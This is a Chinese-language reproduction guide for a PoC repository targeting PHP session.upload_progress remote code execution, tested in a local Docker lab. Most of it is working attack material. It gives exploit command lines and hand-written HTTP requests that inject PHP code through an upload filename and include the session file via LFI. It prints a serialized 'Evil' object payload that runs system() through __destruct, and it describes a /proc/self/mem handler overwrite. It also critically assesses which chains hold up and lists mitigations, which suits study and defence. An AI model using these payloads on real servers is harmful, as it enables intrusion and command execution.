CVE-2026-109618/109619 复现

php2shell 漏洞复现手册补充文章

目标项目:/root/php2shell-poc-main
声明漏洞:CVE-2026-109618 / CVE-2026-109619(PHP session.upload_progress 相关 RCE)
影响版本(项目自述):PHP 5.4.0 ~ 8.5.11
本文只依据仓库内源码撰写,所有命令均在项目自带 Docker 靶场(lab/)内验证性复现。

免责声明:以下内容仅用于授权渗透测试与安全教育。请在你有权测试的环境(例如本仓库的本地 Docker 靶场)中操作。


一、源码结构与功能盘点

目录/文件作用
lab/setup.sh一键生成 webroot + php.ini + nginx.conf + www.conf + docker-compose.yml,并 docker compose up -d
lab/docker-compose.yml三个容器:php-fpm(8.2-fpm,单 worker)、nginx(对外 18080)、apache(mod_php,对外 18081)
lab/php-apache.iniApache mod_php 的 php.ini,memory_limit=32M 便于触发 OOM
poc/verify_session_injection.pyChain A 验证:会话注入(filename 写入原始内容)
poc/verify_handler_mismatch.pyChain C 验证:php_serialize ↔ php 反序列化处理器不匹配
poc/verify_oom_trigger.pyChain D 验证:multipart 头部/嵌套数组/no-length 三种 OOM 触发
poc/verify_fpm_stale_state.pyChain E 验证:producer OOM → consumer 消费残留 BG(unserialize)
poc/verify_uaf_asan.phpChain B 验证:在 ASAN 版 PHP 上触发 var_destroy 重入 UAF
exploit/chain_a_session_lfi.py会话注入 + LFI → RCE(完整可用)
exploit/chain_b_uaf_rce.php声称 UAF→RCE,实际靠 /proc/self/mem 覆盖 var_dump handler
exploit/chain_c_mismatch_rce.py处理器不匹配 → __destruct → RCE
detection/Suricata/Sigma/ModSecurity/OpenResty-Lua 检测规则

lab/setup.sh 生成的靶场关键源码(复现的对象):

// webroot/index.php —— 任何 POST 都会经过 SAPI 的 rfc1867 处理器
<?php session_start(); echo "PHP ".PHP_VERSION."\n"; echo "OK\n"; ?>

// webroot/vuln.php —— LFI 汇聚点(Chain A 的 include sink)
<?php $page = $_GET['page'] ?? 'home'; include($page); ?>

// webroot/destruct_test.php —— 定义带 __destruct 的 Evil 类(Chain C 触发点)
<?php class Evil { public $cmd;
  public function __destruct(){ if($this->cmd){ system($this->cmd); } } }
  session_start(); echo "OK\n"; ?>

// webroot/app/.user.ini -> session.serialize_handler = php_serialize
// webroot/api/.user.ini -> session.serialize_handler = php

关键配置(lab/setup.sh 写入的 php.ini):

session.save_path = /tmp/sessions
session.use_only_cookies = 0
session.upload_progress.enabled = On
session.upload_progress.cleanup  = Off    ; 便于稳定复现,无需竞态
memory_limit = 32M

二、漏洞原理(源码级)

整个利用链的“入口原语”只有一个:PHP 在处理 multipart 上传时,session.upload_progress 处理器会在应用代码运行之前,把请求体里的会话 ID 和上传文件名写入 session 文件,且两者都未做有效校验。

  1. 会话固定(session fixation):MULTIPART_EVENT_FORMDATA 分支从 POST 体里读取 PHPSESSID 字段并接受,不检查 session.use_only_cookies(靶场里该值为 0)。于是攻击者用请求体字段就能控制 session 文件名 sess_<SID>。
  2. 文件名注入:FILE_START 分支把上传的 filename 原样(add_assoc_string_ex)写进 session 数据,无过滤、无编码、无长度限制。因此 filename="<?php system('id');?>" 会被原样写进 sess_<SID> 文件。
  3. Chain A:把 1+2 组合,再加上应用任意一个 LFI(include($page)),include('/tmp/sessions/sess_<SID>') 就会执行注入的 PHP → RCE。
  4. Chain C:不同目录使用不同的 session.serialize_handler(/app/=php_serialize,/api/=php)。php_serialize 写出的文件被 php 处理器按 key|value 格式解析,遇到 filename 里的 | 会把它后面的内容当作序列化对象反序列化;即使随后因尾部数据导致解码失败,__destruct 已经在 PHP_VAR_UNSERIALIZE_DESTROY 清理阶段触发 → 反序列化 RCE。
  5. Chain B / D / E:项目声称还有基于 var_destroy 重入 UAF(B)与 OOM longjmp 破坏 Zend 引擎状态(D/E)的更底层漏洞。注意:仓库并未给出这些链的可武器化代码,详见第六节的可信度评估。

三、环境搭建

cd /root/php2shell-poc-main/lab
chmod +x setup.sh && ./setup.sh

setup.sh 会生成所有配置并启动容器。启动后:

  • http://127.0.0.1:18080 —— nginx + PHP-FPM(用于 Chain A/B/C/E)
  • http://127.0.0.1:18081 —— Apache mod_php(用于 Chain D)

仓库里提交的 docker-compose.yml 引用了 php.ini、www.conf、nginx.conf,这些文件只有跑过 setup.sh 才会生成,所以首次必须用 setup.sh,不能直接 docker compose up -d。

验证靶场:

curl -s http://127.0.0.1:18080/index.php   # 期望输出 PHP 8.2.x / OK
curl -s http://127.0.0.1:18081/index.php

四、自动复现(使用仓库自带脚本)

4.1 Chain A:会话注入 + LFI → RCE(最稳定)

cd /root/php2shell-poc-main
python3 exploit/chain_a_session_lfi.py \
    --host 127.0.0.1 --port 18080 \
    --inject-path /index.php --lfi-path /vuln.php \
    --session-path /tmp/sessions --command 'id'

脚本逻辑(exploit/chain_a_session_lfi.py):向 /index.php 发一个 multipart POST,请求体包含 PHPSESSID 字段、PHP_SESSION_UPLOAD_PROGRESS 字段、以及 filename="<?php ... system('id') ...?>" 的文件字段;随后请求 GET /vuln.php?page=/tmp/sessions/sess_<SID>。若响应体中出现 ___START__...___END__ 包裹的命令回显,则打印 RCE CONFIRMED。

可加 --cleanup-on 以应对目标 session.upload_progress.cleanup=On(默认开启)的情形:脚本会保持写入请求不结束,并在 --delay 后再触发 LFI 做竞态。

4.2 Chain C:处理器不匹配 → __destruct → RCE

python3 exploit/chain_c_mismatch_rce.py \
    --host 127.0.0.1 --port 18080 \
    --pollute-path /app_serialize.php \
    --upload-path  /nosession.php \
    --trigger-path /destruct_test.php \
    --command 'id > /tmp/rce_proof.txt 2>&1'

三阶段:① 反复访问 /app_serialize.php 污染 FPM worker 的 PS(serializer);② 在 filename 中携带 x|O:4:"Evil":1:{s:3:"cmd";s:N:"<cmd>";} 的载荷上传;③ 用同一 SID 访问 /destruct_test.php(php 处理器 + Evil 类)触发反序列化与 __destruct。执行结果写在容器内 /tmp/rce_proof.txt。

该链依赖“污染到的 worker”与“触发请求落到同一 worker”,靶场把 FPM 配成 pm=static, max_children=1 正是为保证确定性。

4.3 Chain B:var_destroy UAF(Docker 内直接跑)

docker exec -it php2shell-fpm php /var/www/html/../../chain_b_uaf_rce.php  # 需先把脚本拷进容器

更现实的用法是把 exploit/chain_b_uaf_rce.php 放到已能执行 PHP 的位置再运行。它会:读 /proc/self/maps 定位 PHP 基址 → 读 /proc/self/mem 遍历函数表找到 zif_system 与 var_dump 的 handler 指针 → 写 /proc/self/mem 把 var_dump 的 handler 改成 zif_system → var_dump('id > /tmp/.rce') 落到 system()。

ASAN 验证(需要 ASAN 构建的 PHP):

docker run --rm -v /root/php2shell-poc-main:/poc php:8.2-cli \
  sh -c 'USE_ZEND_ALLOC=0 php /poc/poc/verify_uaf_asan.php'

4.4 Chain D / E 验证脚本

python3 poc/verify_oom_trigger.py --host 127.0.0.1 --port 18081 --strategy headers --num-headers 5000
python3 poc/verify_fpm_stale_state.py --target http://127.0.0.1:18080

这两个脚本只做“症状验证”:D 观察是否返回 500 / 连接断开;E 观察 producer 是否 OOM、consumer 是否出现 Session object destruction failed。它们不产生 RCE。


五、手动复现(原始 HTTP 请求,不依赖脚本)

以下用 nc/手写请求演示,便于理解协议层细节。会话 ID 只需由 [a-zA-Z0-9,-] 组成(下划线会被 php_session_valid_key 拒绝)。

5.1 Chain A 手动步骤

第 1 步:注入会话(把 PHP 代码塞进 filename)

POST /index.php HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: multipart/form-data; boundary=AAABBBCCC
Content-Length: <按实际正文长度填写>
Cookie: PHPSESSID=exploitsid12345
Connection: close

--AAABBBCCC
Content-Disposition: form-data; name="PHPSESSID"

exploitsid12345
--AAABBBCCC
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

x
--AAABBBCCC
Content-Disposition: form-data; name="f"; filename="<?php echo '___S___'; system('id'); echo '___E___';?>"

Z
--AAABBBCCC--

要点:

  • name="PHPSESSID" 字段让你在 use_only_cookies=1 时也能控制 SID(靶场设为 0,本身就允许)。
  • PHP_SESSION_UPLOAD_PROGRESS 字段是触发 upload_progress 处理器写 session 的开关。
  • filename= 的值会被原样写进 sess_exploitsid12345。

第 2 步:确认会话文件已写入(靶场容器内)

docker exec php2shell-fpm cat /tmp/sessions/sess_exploitsid12345
# 期望看到 filename 原文,例如 ..."<?php echo ... system('id') ...?>"...

第 3 步:用 LFI 包含该会话文件

GET /vuln.php?page=/tmp/sessions/sess_exploitsid12345 HTTP/1.1
Host: 127.0.0.1:18080
Cookie: PHPSESSID=exploitsid12345
Connection: close

响应体中 ___S___ 与 ___E___ 之间即为 id 命令输出 → RCE。

若目标开启了 session.upload_progress.cleanup=On(PHP 默认),会话文件会在上传后被删除。此时需要竞态:让第 1 步的请求发送完 filename 头之后不结束(即 Content-Length 声明很大但只发一部分),在处理器已 FILE_START 却尚未清理的窗口内执行第 2/3 步。这正是脚本 inject_session_stalled() + --cleanup-on --delay 做的事。靶场里 cleanup=Off,可省略竞态。

5.2 Chain C 手动步骤

第 1 步:写入用 php_serialize 格式的会话(走 /app/,.user.ini 指定 php_serialize)

POST /app/upload.php HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: multipart/form-data; boundary=EXPLOIT
Content-Length: <len>
Cookie: PHPSESSID=mismatchsid0001
Connection: close

--EXPLOIT
Content-Disposition: form-data; name="PHPSESSID"

mismatchsid0001
--EXPLOIT
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

x
--EXPLOIT
Content-Disposition: form-data; name="f"; filename="x|O:4:\"Evil\":1:{s:3:\"cmd\";s:22:\"id > /tmp/rce_proof.txt\";}"

Z
--EXPLOIT--

主体思想:filename 内包含 | + 序列化对象 O:4:"Evil":{...},在 php_serialize 下被写入会话文件。

第 2 步:用 php 处理器读取同一会话(走 /api/endpoint.php,.user.ini 指定 php),触发反序列化

GET /api/endpoint.php HTTP/1.1
Host: 127.0.0.1:18080
Cookie: PHPSESSID=mismatchsid0001
Connection: close

php 处理器在文件里扫描 | 并反序列化其后的 O:4:"Evil"...,随后因尾部数据解码失败,但 Evil::__destruct 已执行,system() 被调用。

第 3 步:查看结果

docker exec php2shell-fpm cat /tmp/rce_proof.txt

真实目标上的可武器化版本需要:两个目录 handler 不一致 + 目标已加载带可用 __destruct 的类(Laravel 的 PendingBroadcast、Symfony 的相关 gadget 等)。仓库里用的是靶场自带的 Evil 类。

5.3 Chain B 手动步骤

exploit/chain_b_uaf_rce.php 本身不包含通过漏洞获取内存读写的代码,它假定已经能在目标上运行 PHP,然后:

  1. /proc/self/maps 找 PHP 可执行段基址;
  2. 用硬编码偏移 $base+0x1420900 定位 EG(),再遍历函数表找 zif_system、var_dump 的 handler 地址;
  3. 打开 /proc/self/mem(r+b)把 var_dump 的 handler 指针改写成 zif_system;
  4. var_dump('id > /tmp/.rce') → 实际调用 system()。

手动复现即:把该文件放到目标可写目录并以目标 PHP 执行 php chain_b_uaf_rce.php,然后 cat /tmp/.rce。

5.4 Chain D / E 手动步骤

  • D(Apache mod_php OOM):向 http://127.0.0.1:18081/index.php 发 multipart/form-data POST,单个 part 内塞入数千个自定义响应头(X-Pad-i: AAAA...,每头 ~500B),或大量深度嵌套字段名 f[0][1]...,使 rfc1867 在 memory_limit=32M 下 OOM。观察是否返回 500/连接断开。
  • E(FPM 残留状态):先用超大 filename 反复上传,把 sess_<SID> 撑到 ~30MB;再 GET /session_oom.php(Cookie: PHPSESSID=<该SID>)让 session_start() 解码时 OOM;紧接着向 /index.php 发一个带 PHP_SESSION_UPLOAD_PROGRESS 的 POST,观察响应是否出现 Session object destruction failed / Failed to decode。

六、源码分析与可信度评估(重要)

这一点必须讲清楚,避免误用:

  1. Chain A 是真实且可稳定复现的。 它本质是安全社区早已公开的“session.upload_progress + LFI”技巧的重述,exploit/chain_a_session_lfi.py 与 poc/verify_session_injection.py 逻辑自洽,在自带靶场中能直接打通。工程上把它当作“会话文件注入 + LFI”的标准打法即可。
  2. Chain C 的机制(php_serialize ↔ php 处理器不匹配导致反序列化)是已知公开技术(项目也引用了 cnpanda、PHP Bug #71101)。仓库脚本思路成立,但存在若干真实目标上会很脆弱的点:依赖 worker 污染命中同一进程、依赖 filename 内引号转义被正确处理、依赖目标已加载可用 gadget 类。靶场因 max_children=1 + 自带 Evil 类而侥幸成立。
  3. Chain B 的 chain_b_uaf_rce.php 名不符实。 它声称利用 var_destroy UAF,但代码里没有任何触发/利用该 UAF 的部分,实际完全依赖“已能在本机运行 PHP 并读写 /proc/self/mem”这一前置条件——这是拿到代码执行之后的技术,不是漏洞利用原语。其中的 EG() 偏移 0x1420900 是硬编码的,换 PHP 版本/构建即失效。真正能证明该 UAF 的只有 poc/verify_uaf_asan.php(需 ASAN 构建的 PHP 才能观察到 heap-use-after-free)。
  4. Chain D / E 只有“症状验证”,没有可武器化利用代码。 verify_oom_trigger.py 只是发大包并观察 500/断连,verify_fpm_stale_state.py 只是观察错误信息,二者都无法证明“内存破坏”或“RCE”。项目把这两条链的“完整利用代码”放到了付费订阅后面(docs/substack_article.md),仓库内无法验证其真实性。
  5. 对外引用的可核查性存疑。 README/文章引用的 CVE 编号、GHSA 链接、补丁 commit(3584a98)、Substack 文章等,无法从本仓库源码本身证实。评估影响面时应以 PHP 官方公告与 php-src 提交为准,不要直接采信本仓库的版本矩阵与 CVSS。

结论:本仓库可直接复现并作为有效 PoC 使用的是 Chain A(会话注入 + LFI),Chain C 在特定配置下机制成立;Chain B 代码与描述不符,Chain D/E 缺乏可验证的利用代码。使用前请先按第六节逐条核实,尤其是准备将其用于生产环境风险判断时。


七、缓解措施(来自仓库,供参考)

session.upload_progress.enabled = Off   ; 直接关掉主入口,杀伤最大
session.use_only_cookies = On           ; 阻止请求体固定 SID
session.use_strict_mode = On
session.serialize_handler = php_serialize  ; 全站统一 handler,避免不匹配

仓库自带的 WAF/IDS 规则(detection/)核心思路一致:拦截 multipart/form-data 请求体中出现的 PHP_SESSION_UPLOAD_PROGRESS 与 name="PHPSESSID" 字段。项目自述“唯一彻底的修复是升级被修复的 PHP 版本”。
exp:https://github.com/360859569/php2shell-poc

← 返回归档